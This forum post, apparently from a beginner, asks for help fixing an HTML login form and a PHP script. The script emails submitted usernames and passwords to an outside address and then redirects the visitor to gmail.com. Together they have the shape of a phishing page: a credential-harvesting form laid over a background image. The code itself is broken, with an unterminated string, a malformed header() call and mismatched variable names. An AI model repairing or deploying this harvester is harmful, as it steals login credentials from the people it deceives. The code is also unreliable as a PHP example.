Hello guys! How can i write my php code to send e-mail on form_submit? : dear friends,

1st of all i'd like to say i'm a beginner and i'm assigning tasks to myself. I built a HTML page in which i added a form. It looks like this:

    <body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">

    <form action="send.php" method="post">
    <input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
    <input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
    <input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>     </a></div>
    </form>

And the php file 'send.php':

    <?php 
    if(isset($_POST['submit'])){
    $to = "salut@bagaiacimailu.com"; // <mail-ul nostru
    $user_name = $_POST['username'];
    $password = $_POST['password'];
    $subject = "You got mail!";
    $message = $username . " " . $password . ";
    mail($to,$subject,$message,$headers);
    }
    header (Location: "www.gmail.com");
    ?>

I get error when the submit button is pressed on my HTML. What's wrong and how can i fix it? Please help?

Thanks a lot in advance. 
Cheers all!


